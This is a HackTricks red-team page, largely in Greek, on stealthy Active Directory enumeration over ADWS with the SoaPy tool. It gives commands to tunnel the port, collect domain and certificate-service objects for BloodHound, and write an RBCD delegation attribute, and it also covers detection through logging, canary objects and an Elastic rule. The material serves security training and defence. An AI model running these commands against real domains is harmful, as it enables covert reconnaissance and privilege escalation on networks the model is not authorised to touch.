Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το ADWS;
Οι Υπηρεσίες Ιστού Active Directory (ADWS) είναι ενεργοποιημένες από προεπιλογή σε κάθε Domain Controller από το Windows Server 2008 R2 και ακούνε σε TCP 9389. Παρά το όνομα, δεν εμπλέκεται HTTP. Αντίθετα, η υπηρεσία εκθέτει δεδομένα τύπου LDAP μέσω μιας στοίβας ιδιόκτητων πρωτοκόλλων πλαισίωσης .NET:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Επειδή η κίνηση είναι ενσωματωμένη μέσα σε αυτά τα δυαδικά πλαίσια SOAP και ταξιδεύει μέσω μιας ασυνήθιστης θύρας, η αρίθμηση μέσω ADWS είναι πολύ λιγότερο πιθανό να ελεγχθεί, φιλτραριστεί ή υπογραφεί από την κλασική κίνηση LDAP/389 & 636. Για τους χειριστές αυτό σημαίνει:
- Πιο διακριτική αναγνώριση – Οι ομάδες Blue συχνά επικεντρώνονται σε ερωτήματα LDAP.
- Ελευθερία συλλογής από μη Windows hosts (Linux, macOS) μέσω σήραγγας 9389/TCP μέσω ενός SOCKS proxy.
- Τα ίδια δεδομένα που θα αποκτούσατε μέσω LDAP (χρήστες, ομάδες, ACLs, σχήμα, κ.λπ.) και η δυνατότητα εκτέλεσης εγγραφών (π.χ.
msDs-AllowedToActOnBehalfOfOtherIdentity
για RBCD).
ΣΗΜΕΙΩΣΗ: Το ADWS χρησιμοποιείται επίσης από πολλά εργαλεία RSAT GUI/PowerShell, οπότε η κίνηση μπορεί να συγχωνευθεί με νόμιμες δραστηριότητες διαχειριστή.
SoaPy – Εγγενής Πελάτης Python
SoaPy είναι μια πλήρης επαναφορά της στοίβας πρωτοκόλλου ADWS σε καθαρή Python. Δημιουργεί τα πλαίσια NBFX/NBFSE/NNS/NMF byte-for-byte, επιτρέποντας τη συλλογή από συστήματα τύπου Unix χωρίς να αγγίξει το .NET runtime.
Κύρια Χαρακτηριστικά
- Υποστηρίζει proxy μέσω SOCKS (χρήσιμο από C2 implants).
- Λεπτομερείς φίλτρα αναζήτησης ταυτόσημα με LDAP
-q '(objectClass=user)'
. - Προαιρετικές εγγραφές (
--set
/--delete
). - Λειτουργία εξόδου BOFHound για άμεση εισαγωγή στο BloodHound.
- Σημαία
--parse
για να ομορφύνει τις χρονικές σφραγίδες /userAccountControl
όταν απαιτείται ανθρώπινη αναγνωσιμότητα.
Εγκατάσταση (host χειριστή)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
Η παρακάτω ροή εργασίας δείχνει πώς να καταγράψετε αντικείμενα τομέα & ADCS μέσω ADWS, να τα μετατρέψετε σε BloodHound JSON και να κυνηγήσετε διαδρομές επιθέσεων με βάση πιστοποιητικά – όλα από το Linux:
-
Tunnel 9389/TCP από το δίκτυο στόχο στο μηχάνημά σας (π.χ. μέσω Chisel, Meterpreter, SSH dynamic port-forward, κ.λπ.). Εξάγετε
export HTTPS_PROXY=socks5://127.0.0.1:1080
ή χρησιμοποιήστε το--proxyHost/--proxyPort
του SoaPy. -
Collect the root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Συλλογή αντικειμένων σχετικών με ADCS από το Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Μετατροπή σε BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Ανεβάστε το ZIP στο BloodHound GUI και εκτελέστε ερωτήματα cypher όπως
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
για να αποκαλύψετε διαδρομές κλιμάκωσης πιστοποιητικών (ESC1, ESC8, κ.λπ.).
Γράφοντας msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Συνδυάστε αυτό με s4u2proxy
/Rubeus /getticket
για μια πλήρη Resource-Based Constrained Delegation αλυσίδα.
Ανίχνευση & Σκληροποίηση
Λεπτομερής Καταγραφή ADDS
Ενεργοποιήστε τα παρακάτω κλειδιά μητρώου στους Domain Controllers για να αναδείξετε δαπανηρές / αναποτελεσματικές αναζητήσεις που προέρχονται από ADWS (και LDAP):
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Τα γεγονότα θα εμφανίζονται κάτω από Directory-Service με το πλήρες φίλτρο LDAP, ακόμη και όταν το ερώτημα έφτασε μέσω ADWS.
SACL Canary Objects
- Δημιουργήστε ένα ψεύτικο αντικείμενο (π.χ. απενεργοποιημένος χρήστης
CanaryUser
). - Προσθέστε μια Audit ACE για τον Everyone κύριο, που ελέγχεται στο ReadProperty.
- Όποτε ένας επιτιθέμενος εκτελεί
(servicePrincipalName=*)
,(objectClass=user)
κ.λπ., ο DC εκπέμπει Event 4662 που περιέχει το πραγματικό SID του χρήστη – ακόμη και όταν το αίτημα είναι προξενευμένο ή προέρχεται από το ADWS.
Παράδειγμα προεγκατεστημένου κανόνα Elastic:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Tooling Summary
Σκοπός | Εργαλείο | Σημειώσεις |
---|---|---|
ADWS enumeration | SoaPy | Python, SOCKS, read/write |
BloodHound ingest | BOFHound | Μετατρέπει τα logs του SoaPy/ldapsearch |
Cert compromise | Certipy | Μπορεί να προξενηθεί μέσω του ίδιου SOCKS |
References
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.